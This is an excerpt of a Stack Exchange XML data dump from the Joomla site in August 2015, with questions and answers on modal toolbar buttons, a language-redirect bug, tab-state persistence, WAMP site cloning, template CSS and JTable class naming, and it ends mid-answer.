  <row Id="12228" PostTypeId="2" ParentId="12125" CreationDate="2015-08-19T08:54:24.567" Score="2" Body="&lt;p&gt;For this you have to create custom HTML toolbar button with your own custom &lt;code&gt;href&lt;/code&gt;. To achieve this, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Toolbar object&#xA;$toolbar = JToolBar::getInstance('toolbar');&#xA;&#xA;// Render the popup button&#xA;$buttonHTML = &quot;&amp;lt;a class='btn btn-small' data-toggle='modal' href='&quot;.JRoute::_('index.php?option=COM_YOURCOMPONENT&amp;amp;view=modal&amp;amp;tmpl=component').&quot;' data-target='#ajax-modal'&amp;gt;&amp;lt;i class='icon-new'&amp;gt;&amp;lt;/i&amp;gt;Open modal from another view&amp;lt;/a&amp;gt;&quot;;&#xA;$toolbar-&amp;gt;appendButton('Custom', $buttonHTML);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;default.php&lt;/code&gt;, add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal fade&quot; id=&quot;ajax-modal&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;modal-dialog&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;            &amp;lt;!-- Ajax content will be loaded here --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also have to add custom JS, since Joomla! uses Bootstrap 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('#ajax-modal').on('show', function () {&#xA;        // Load view vith AJAX&#xA;        jQuery(this).find('.modal-content').load(jQuery('a[data-target=&quot;#'+jQuery(this).attr('id')+'&quot;]').attr('href'));&#xA;    })&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your view should response with contents of &lt;code&gt;modal-header&lt;/code&gt;, &lt;code&gt;modal-body&lt;/code&gt; and &#xA;&lt;code&gt;modal-footer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;amp;times;&amp;lt;/button&amp;gt;&#xA;     &amp;lt;h4 class=&quot;modal-title&quot;&amp;gt;Modal title&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;modal-body&quot;&amp;gt;&amp;lt;div class=&quot;te&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default&quot; data-dismiss=&quot;modal&quot;&amp;gt;Close&amp;lt;/button&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot;&amp;gt;Save changes&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested it in Joomla! 3.4.3. Worked fine.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-08-19T19:18:12.330" LastActivityDate="2015-08-19T19:18:12.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12229" PostTypeId="1" CreationDate="2015-08-19T10:11:09.037" Score="5" ViewCount="255" Body="&lt;p&gt;When I click a link in an article to another article with no explicit lang in the query string, then a redirect occurs to a url with the language set in the query string. This language is not, however, necessarily the language set in the language switcher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behaviour is new - since upgrading from 3.3.6 to 3.4.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea, why the language switcher setting would be ignored, and where the language which is used might come from (the browser?), and/or where the redirect occurs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2015-08-19T11:51:18.820" Title="Redirection to wrong language since 3.4.3" Tags="|joomla-3.4|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12230" PostTypeId="2" ParentId="12229" CreationDate="2015-08-19T11:51:18.820" Score="4" Body="&lt;p&gt;This is indeed a bug and has been fixed here:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/7427&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/7427&lt;/a&gt;&#xA;The fix will be available in Joomla 3.4.4&#xA;If you need a quick fix now, see my comment above.&lt;/p&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2015-08-19T11:51:18.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12231" PostTypeId="2" ParentId="9154" CreationDate="2015-08-19T12:31:42.597" Score="2" Body="&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a title=&quot;title&quot; class=&quot;navbar-brand&quot; href=&quot;&amp;lt;?php echo JURI::root(); ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a title=&quot;title&quot; class=&quot;navbar-brand&quot; href=&quot;&amp;lt;?php echo JURI::base(); ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a title=&quot;title&quot; class=&quot;navbar-brand&quot; href=&quot;&amp;lt;?php echo JRoute::_('index.php'); ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2015-08-19T12:31:42.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostTypeId="2" ParentId="9446" CreationDate="2015-08-19T15:26:18.570" Score="1" Body="&lt;p&gt;I added the following code to my administrator/component/com_/view/ file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* tab memory */&#xA;jQuery(function($) {&#xA;  var json, tabsState;&#xA;  $('a[data-toggle=&quot;pill&quot;], a[data-toggle=&quot;tab&quot;]').on('shown', function(e) {&#xA;    var href, json, parentId, tabsState;&#xA;&#xA;    tabsState = localStorage.getItem(&quot;tabs-state&quot;);&#xA;    json = JSON.parse(tabsState || &quot;{}&quot;);&#xA;    parentId = $(e.target).parents(&quot;ul.nav.nav-pills, ul.nav.nav-tabs&quot;).attr(&quot;id&quot;);&#xA;    href = $(e.target).attr('href');&#xA;    json[parentId] = href;&#xA;&#xA;    return localStorage.setItem(&quot;tabs-state&quot;, JSON.stringify(json));&#xA;  });&#xA;&#xA;  tabsState = localStorage.getItem(&quot;tabs-state&quot;);&#xA;  json = JSON.parse(tabsState || &quot;{}&quot;);&#xA;&#xA;  $.each(json, function(containerId, href) {&#xA;    return $(&quot;#&quot; + containerId + &quot; a[href=&quot; + href + &quot;]&quot;).tab('show');&#xA;  });&#xA;&#xA;  $(&quot;ul.nav.nav-pills, ul.nav.nav-tabs&quot;).each(function() {&#xA;    var $this = $(this);&#xA;    if (!json[$this.attr(&quot;id&quot;)]) {&#xA;      return $this.find(&quot;a[data-toggle=tab]:first, a[data-toggle=pill]:first&quot;).tab(&quot;show&quot;);&#xA;    }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from this discussion:&#xA;&lt;a href=&quot;https://stackoverflow.com/a/16984739/1729791&quot;&gt;https://stackoverflow.com/a/16984739/1729791&lt;/a&gt;&#xA;and its working for me&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-19T15:26:18.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12233" PostTypeId="1" CreationDate="2015-08-19T17:22:08.550" Score="2" ViewCount="932" Body="&lt;p&gt;I am working with Joomla for the first time and I am having trouble configuring it. From the articles available from the internet, I followed the following steps to clone a Joomla website to various local machines:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure the Joomla website using the database created in phpmyadmin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export the database, which was used to configure the joomla website, into a .sql file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the second computer paste the Joomla folder into wamp/www&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the .sql file in phpmyadmin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, I got an error message- &quot;&lt;strong&gt;Cannot connect to mySQL database&lt;/strong&gt;&quot;. I checked the configuration.php file and everything seems to be fine(localhost, databasename, password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a team of 5 people working on the same project and so I need to configure Joomla in all of the computers, so that it can be integrated easily later on.&#xA;I am using Windows 8 64bit OS and have installed wamp server 2.5(32 bit) on my laptop. On the other hand, my teammates have Windows 7 32bit OS and have installed wamp server 2.2 onto their system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because for some reason, we were unable to install wamp server 2.5 onto their system and the error message shown was 'missing MSVCR110.dll'.&#xA;When installing this .dll file, the problem still did not resolve. When I installed wamp 2.2 onto my computer, I got an error message- 'dont have access to the / server' when I tried to access localhost. So we decided to stick to wamp 2.2 on their computers and wamp 2.5 on mine. However, the error doesn't seem to go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to configure the database on wamp 2.2 and the joomla website, it seems to work fine in my computer(with wamp 2.5) however, the error appears on the other computers having wamp 2.2. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5758" LastEditorUserId="126" LastEditDate="2015-08-26T21:57:45.387" LastActivityDate="2017-02-06T19:02:49.447" Title="Configuring a Joomla website using wamp on multiple computers" Tags="|joomla-3.x|joomla-3.4|mysql|database|global-configuration|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostTypeId="2" ParentId="12233" CreationDate="2015-08-19T19:38:54.357" Score="0" Body="&lt;p&gt;Instead of WAMP consider using Portable XAMPP, practically the same thing but doesn't have to be installed- just copy the XAMPP folder from one PC to another and you are done. In case the destination folder or drive on the 2nd PC is different i.e. E:\ParentFolder\XAMPP instead of C:\XAMPP just run a batch .BAT file in the root XAMPP folder to remap paths. &lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2015-08-19T19:38:54.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12235" PostTypeId="1" AcceptedAnswerId="12236" CreationDate="2015-08-19T19:48:00.293" Score="0" ViewCount="146" Body="&lt;p&gt;I recently downloaded the ja_nuevo template from JoomlArt. On the homepage of its sample site, there was a module called &lt;code&gt;Services&lt;/code&gt;, and it used an alternative layout from ja_nuevo to have a specific, unique and dynamic view and functionality. I wanted to transfer this very part of the ja_nuevo home page, exactly as it is, and use it on another custom site, with a different template.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying the module and its core functionality succedded, but the look and feel was due to the alternative layout provided by ja_nuevo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any possibility to manage to get that specific layout to be used on the other site, even though it is of a different template?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this is not possible directly by choosing so in the module options, so what I am asking for essentially is &lt;strong&gt;how to &quot;copy&quot; a layout from one template to another for direct use?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5646" LastEditorUserId="126" LastEditDate="2015-08-21T14:07:18.393" LastActivityDate="2015-08-21T14:07:18.393" Title="Use layout of a template on page with different template" Tags="|joomla-3.x|module|templates|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12236" PostTypeId="2" ParentId="12235" CreationDate="2015-08-19T21:12:42.050" Score="0" Body="&lt;p&gt;I had a quick look at the template and I saw a section called Services. So I assume you want to create something similar with the 3 boxes and their icons that move when you put your mouse over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I see on the template is that this is all pure CSS.&#xA;If you are unable to create this at your own, then you will need to study a bit the CSS of the demo site of the template with your browser's inspector, find any elements and their ids and classes that are involved and then find the css code that gives this style and moving effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help you out I will put here the html of the Services section and the CSS that is involved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;t3-spotlight t3-spotlight-1 row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-lg-4 col-md-4 col-sm-4 col-xs-12&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;t3-module module&quot; id=&quot;Mod105&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;module-inner&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;module-ct&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;ja-special-content&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;circle-icon background-1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&#xA;                                &amp;lt;a href=&quot;/index.php/en/web-design&quot;&amp;gt;Web design&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incid dunt ut labore et dolore magna aliqua.&#xA;                            &amp;lt;/p&amp;gt;&amp;lt;a class=&quot;btn btn-link&quot; href=&quot;/index.php/en/web-design&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot; col-lg-4 col-md-4 col-sm-4 col-xs-12&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;t3-module module&quot; id=&quot;Mod111&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;module-inner&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;module-ct&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;ja-special-content&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;circle-icon background-2&quot;&amp;gt;&#xA;                                &amp;amp;nbsp;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&#xA;                                &amp;lt;a href=&quot;/index.php/en/security-proofed&quot;&amp;gt;Cloud Solutions&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                There are many variations of passages of Lorem Ipsum available, but the majority have many suffered alteration in some form.&#xA;                            &amp;lt;/p&amp;gt;&amp;lt;a class=&quot;btn btn-link&quot; href=&quot;/index.php/en/security-proofed&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot; col-lg-4 col-md-4 col-sm-4 col-xs-12&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;t3-module module&quot; id=&quot;Mod112&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;module-inner&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;module-ct&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;ja-special-content&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;circle-icon background-3&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h4&amp;gt;&#xA;                                &amp;lt;a href=&quot;/index.php/en/coding&quot;&amp;gt;Coding&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                                It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.&#xA;                            &amp;lt;/p&amp;gt;&amp;lt;a class=&quot;btn btn-link&quot; href=&quot;/index.php/en/coding&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the most important parts of the CSS - Note that this is only for Desktop view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* {&#xA;    -webkit-box-sizing: border-box;&#xA;    -moz-box-sizing: border-box;&#xA;    box-sizing: border-box;&#xA;}&#xA;&#xA;.col-lg-4 {&#xA;    width: 33.33333333%;&#xA;}&#xA;.col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {&#xA;    float: left;&#xA;}&#xA;.t3-module {&#xA;    position: relative;&#xA;}&#xA;.t3-module .module-inner {&#xA;    padding: 0;&#xA;}&#xA;.module-ct {&#xA;    background: transparent;&#xA;    color: inherit;&#xA;    padding: 0;&#xA;    font-size: 14px;&#xA;}&#xA;.ja-special-content {&#xA;    text-align: center;&#xA;    height: auto;&#xA;    overflow: hidden;&#xA;    height: 320px;&#xA;}&#xA;.circle-icon.background-1 {&#xA;    background: #73bfe6;&#xA;}&#xA;.circle-icon {&#xA;    border-radius: 150px;&#xA;    display: inline-block;&#xA;    height: 150px;&#xA;    text-align: center;&#xA;    line-height: 150px;&#xA;    margin: 0 0 24px;&#xA;    overflow: hidden;&#xA;    width: 150px;&#xA;    zoom: 1;&#xA;    -webkit-transition: 0.3s;&#xA;    -o-transition: 0.3s;&#xA;    transition: 0.3s;&#xA;}&#xA;.circle-icon .fa {&#xA;    color: #ffffff;&#xA;    font-size: 40px;&#xA;    line-height: 150px;&#xA;    display: block;&#xA;    overflow: hidden;&#xA;    zoom: 1;&#xA;}&#xA;.fa {&#xA;    display: inline-block;&#xA;    font: normal normal normal 14px/1 FontAwesome;&#xA;    font-size: inherit;&#xA;    text-rendering: auto;&#xA;    -webkit-font-smoothing: antialiased;&#xA;    -moz-osx-font-smoothing: grayscale;&#xA;}&#xA;.ja-special-content &amp;gt; h4 {&#xA;    margin-top: -150px;&#xA;}&#xA;.ja-special-content &amp;gt; h4 {&#xA;    font-size: 18px;&#xA;}&#xA;.ja-special-content &amp;gt; h4 {&#xA;    color: #406a80;&#xA;    font-family: 'Montserrat',sans-serif;&#xA;    font-size: 16px;&#xA;    margin-bottom: 12px;&#xA;    margin-top: 0;&#xA;    line-height: 1.5;&#xA;    text-transform: uppercase;&#xA;    -webkit-transition: 0.3s;&#xA;    -o-transition: 0.3s;&#xA;    transition: 0.3s;&#xA;}&#xA;.ja-special-content &amp;gt; h4 a {&#xA;    color: #406a80;&#xA;    text-decoration: none;&#xA;}&#xA;.ja-special-content &amp;gt; p {&#xA;    font-size: 14px;&#xA;    line-height: 24px;&#xA;    margin: 0 0 12px;&#xA;}&#xA;.ja-special-content:hover .btn {&#xA;    display: inline-block;&#xA;}&#xA;.ja-special-content .btn {&#xA;    display: none;&#xA;}&#xA;.btn-link {&#xA;    color: #73bfe6;&#xA;    font-size: 14px;&#xA;    text-transform: uppercase;&#xA;    padding-left: 0;&#xA;    padding-right: 0;&#xA;    display: inline;&#xA;}&#xA;.btn-link:after {&#xA;    content: &quot;\f178&quot;;&#xA;    display: inline-block;&#xA;    font-family: FontAwesome;&#xA;    font-style: normal;&#xA;    font-weight: normal;&#xA;    line-height: 1;&#xA;    margin-left: 12px;&#xA;}&#xA;.ja-special-content:hover .circle-icon {&#xA;    -webkit-transform: translate(0,-360px);&#xA;    -moz-transform: translate(0,-360px);&#xA;    -o-transform: translate(0,-360px);&#xA;    -ms-transform: translate(0,-360px);&#xA;    transform: translate(0,-360px);&#xA;}&#xA;.ja-special-content:hover h4 {&#xA;    margin-top: -150px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course it's very likely that you might have to adjust the above code to meet your template's structure and overall styling. Also keep in mind that some of these style rules might conflict or affect other areas of your site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-19T21:12:42.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12237" PostTypeId="2" ParentId="12233" CreationDate="2015-08-19T21:23:14.720" Score="1" Body="&lt;p&gt;The &quot;&lt;strong&gt;Cannot connect to mySQL database error&lt;/strong&gt;&quot; is pretty much self-explanatory. You have no connection to the database, which means that one or more of the database connection credentials are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be either the host, the database name, the user or the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that different installations of applications like WAMP may have different configurations, like different db admin name /password. In many cases it's possible that there is an empty (blank) password, or a default password - e.g. root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consult the documentation of the application's version you are using to see about their settings and make sure you are using the correct ones on each instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another note, I can't think how you will manage better 5 different installations for 1 website. The migration of data will be if not a nightmare, at least too much work. I would suggest 1 single installation online, where everyone can access it and work / enter data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are developing, then you would need a version control  like git.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-20T06:43:09.120" LastActivityDate="2015-08-20T06:43:09.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12238" PostTypeId="1" AcceptedAnswerId="12241" CreationDate="2015-08-19T23:07:44.160" Score="5" ViewCount="146" Body="&lt;p&gt;I have very little knowledge about joomla core and PHP. In order to better handle my website, I am trying to read a small part of joomla core, when I come across this function &lt;code&gt;JTable:getInstance&lt;/code&gt;, (libararies\joomla\table\table.php line268), it returns&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    return new $tableClass($db);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To understand what &lt;code&gt;getInstance&lt;/code&gt; returns, I need to know how this &lt;code&gt;$tableClass&lt;/code&gt; is defined, so I searched it in all php files in my website, although there are lots of references, even some so-called 'definitions' as &lt;a href=&quot;http://phpcrossref.com/xref/joomla/_variables/tableClass.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; points out, none of them is what I am looking for. I am expecting something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class tableClass{...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Furthermore, from other php files, there are these lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$row = JTable::getInstance('K2Item', 'Table');&#xA;$row-&amp;gt;hit($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So it looks to me, what is returned by &lt;code&gt;getInstance&lt;/code&gt; should be an object that has a member &lt;code&gt;hit()&lt;/code&gt;, so I am expecting something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class tableClass{...&#xA;    function hit(){&#xA;    .....&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this kind of code is nowhere to be found, so I am stuck here and definitely need help.&lt;/p&gt;&#xA;&lt;p&gt;Some of my thoughts: Is $tableClass really a class? I notice that it has a &lt;code&gt;$&lt;/code&gt;, which all other classes don't have? If it is not a class, then why it could be invoked like this &lt;code&gt;new $tableClass&lt;/code&gt;? I really need to understand these basics but it is kind of hard to google keyword &lt;code&gt;$&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-21T13:56:26.900" Title="Where is class $tableClass defined?" Tags="|php|k2|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12239" PostTypeId="1" AcceptedAnswerId="12240" CreationDate="2015-08-20T00:21:36.953" Score="3" ViewCount="67" Body="&lt;p&gt;Can you tell me whether &lt;code&gt;tar.gz&lt;/code&gt; format is commonly used for Joomla extension packs? Because Google marks all &lt;code&gt;zip&lt;/code&gt; archives that are not commonly downloaded as malicious, I am thinking to change the format of my extensions from &lt;code&gt;zip&lt;/code&gt; to &lt;code&gt;tar.gz&lt;/code&gt;. Who knows if there are any downsides in &lt;code&gt;tar.gz&lt;/code&gt; format?&lt;/p&gt;&#xA;" OwnerUserId="5665" LastActivityDate="2015-08-20T02:27:26.360" Title="Extensions in tar.gz format" Tags="|development|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12240" PostTypeId="2" ParentId="12239" CreationDate="2015-08-20T02:27:26.360" Score="5" Body="&lt;p&gt;According to this &lt;a href=&quot;https://books.google.com/books?id=o68lyZWZDJQC&amp;amp;pg=PT114&amp;amp;lpg=PT114&amp;amp;dq=joomla%20tar.gz%20support&quot;&gt;book&lt;/a&gt; .zip format is most commonly used format for joomla extension but Joomla supports both .zip and .tar.gz. However some web hosts don't support .tar.gz&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-08-20T02:27:26.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostTypeId="2" ParentId="12238" CreationDate="2015-08-20T02:33:22.250" Score="6" Body="&lt;p&gt;$tableClass is a variable. You won't find a class named &quot;tableClass&quot;. It's just a placeholder for the real class name which will be generated at the beginning of the getInstance method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at lines 268-272 where getInstance begins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getInstance($type, $prefix = 'JTable', $config = array())&#xA;{&#xA;    // Sanitize and prepare the table class name.&#xA;    $type       = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);&#xA;    $tableClass = $prefix . ucfirst($type);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line of this defines which parameters you can pass into getInstance later. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $type    The type (name) of the JTable class to get an instance of.&#xA; $prefix  An optional prefix for the table class name.&#xA; $config  An optional array of configuration values for the JTable object.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you look at the example you gave,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row = JTable::getInstance('K2Item', 'Table');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;K2Item&quot; is the name of the JTable class ($type) and &quot;Table&quot; is the prefix ($prefix). [$config was not set as it is only optional and probably not needed here]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 271 (&lt;code&gt;$type       = preg_replace('/[^A-Z0-9_\.-]/i', '', $type);&lt;/code&gt;) will remove all bad characters from the $type parameter which means every character except letters (A-Z), numbers (0-9) and the characters '_', '.', and '-'. It uses a &lt;a href=&quot;https://www.google.de/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=3&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CDEQFjACahUKEwiE4cb4zrbHAhWGiiwKHSC6BYQ&amp;amp;url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRegular_expression&amp;amp;ei=wTvVVcT8L4aVsgGg9JagCA&amp;amp;usg=AFQjCNHpgSWfCrb96eUGShZE2vfN80Cj9Q&amp;amp;sig2=nfBVJ8bXoXxEJtY-DyoO9w&amp;amp;bvm=bv.99804247,d.bGg&quot;&gt;regular expression&lt;/a&gt; for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In line 272 $tableClass (which will be the final class name to look after) is generated. It takes $prefix and concatenates the $type from the previous line. ucfirst() is there to convert the first letter of $type to uppercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some 